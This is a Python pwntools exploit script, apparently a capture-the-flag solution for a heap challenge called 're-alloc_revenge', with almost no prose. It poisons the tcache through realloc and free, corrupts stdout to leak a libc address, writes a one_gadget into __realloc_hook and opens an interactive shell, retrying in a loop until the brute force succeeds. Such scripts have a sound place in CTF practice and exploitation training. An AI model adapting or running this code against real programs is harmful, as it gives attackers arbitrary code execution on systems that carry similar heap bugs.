1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199
| from pwn import * filename="./re-alloc_revenge" libc_name="./libc.so"
context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60']
def choose(index): io.recvuntil('Your choice: ') io.sendline(str(index))
def add(index,size,con,send=True): choose(1) io.recvuntil('Index:') io.sendline(str(index)) io.recvuntil('Size:') io.sendline(str(size)) io.recvuntil('Data:') if(send==True): io.send(con) else: io.sendline(con)
def realloc(index,size,content=0): choose(2) io.recvuntil('Index:') io.sendline(str(index)) io.recvuntil('Size:') io.sendline(str(size)) if(size!=0): io.recvuntil('Data:') io.send(content)
def free(index): choose(3) io.recvuntil('Index:') io.sendline(str(index))
def debug(): gdb.attach(io,"brva 0x15FB") free(1)
def debug_menu_alloc(): cmd = "" cmd += "brva 0x1725\n" cmd += "brva 0x1767\n" gdb.attach(io,cmd)
small_payload = p64(0)+p64(0x21) big_payload = p64(0)+p64(0x471)
def exp(io):
add(0,0x68,p64(0)*2+big_payload+small_payload*0x4) realloc(0,0x78,p64(0)*3) free(0)
add(1,0x68,big_payload*4) realloc(1,0)
add(0,0x58,small_payload*4) free(0)
add(0,0x78,p64(0)*2+big_payload+small_payload*0x4) realloc(0,0x58,p64(0)*2+big_payload*0x4) free(0)
for i in range(0,9): add(0,0x38,p64(0)*2+small_payload*0x2) realloc(0,0x78,p64(0)*2+small_payload*0x5) free(0) realloc(1,0x68,p64(0)*2) free(1) add(1,0x58,p64(0)*2) realloc(1,0) realloc(1,0x58,p8(0x20)) add(0,0x58,p8(0x20)) realloc(0,0x10,p8(0)*2) free(0) add(0,0x58,'a') free(0)
add(0,0x38,'a') realloc(0,0x18,'a') free(0) add(0,0x38,'a') realloc(0,0x48,'a') free(0) add(0,0x38,'a')
free(0) add(0,0x78,'a') realloc(0,0x38,'a') free(0)
for i in range(0,5): add(0,0x78,'a') realloc(0,0x38,'a') free(0) add(0,0x28,'a') realloc(0,0x78,p16(0x4760)) realloc(1,0x18,p64(0)*2) free(1) add(1,0x78,p16(0x4760)) realloc(1,0x18,'a') free(1) try: add(1,0x78,p64(0xfbad1800)+p64(0)*3) libc_info = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) except: io.close() return 0 success("libc_info: " + hex(libc_info)) libc_base = libc_info - 0x1e7570 success("libc_base: " + hex(libc_base)) free_hook = libc.symbols['__free_hook'] + libc_base system = libc.symbols['system'] + libc_base realloc_hook = libc.symbols['__realloc_hook']+libc_base success("realloc_hook: " + hex(realloc_hook)) success("free_hook: " + hex(free_hook)) success("system: " + hex(system)) og = [0x106ef8,0xe2383,0xe237f,0xe21d4,0xe21d1,0xe21ce] one = og[0]+libc_base
realloc(0,0x18,p64(0)*2)
free(0) add(0,0x68,p64(0)+p64(0x471)+p64(0)+p64(0x471)+p64(0)*3+p64(0x51)+p64(realloc_hook)*2) free(0) add(0,0x48,'a') realloc(0,0x18,'a') free(0) add(0,0x48,p64(one)) choose(2) io.recvuntil('Index:') io.sendline('0') io.recvuntil('Size:') io.sendline('0')
io.interactive()
if __name__ == "__main__": result = 0 while(result!=1): io = process(filename) result = exp(io)
|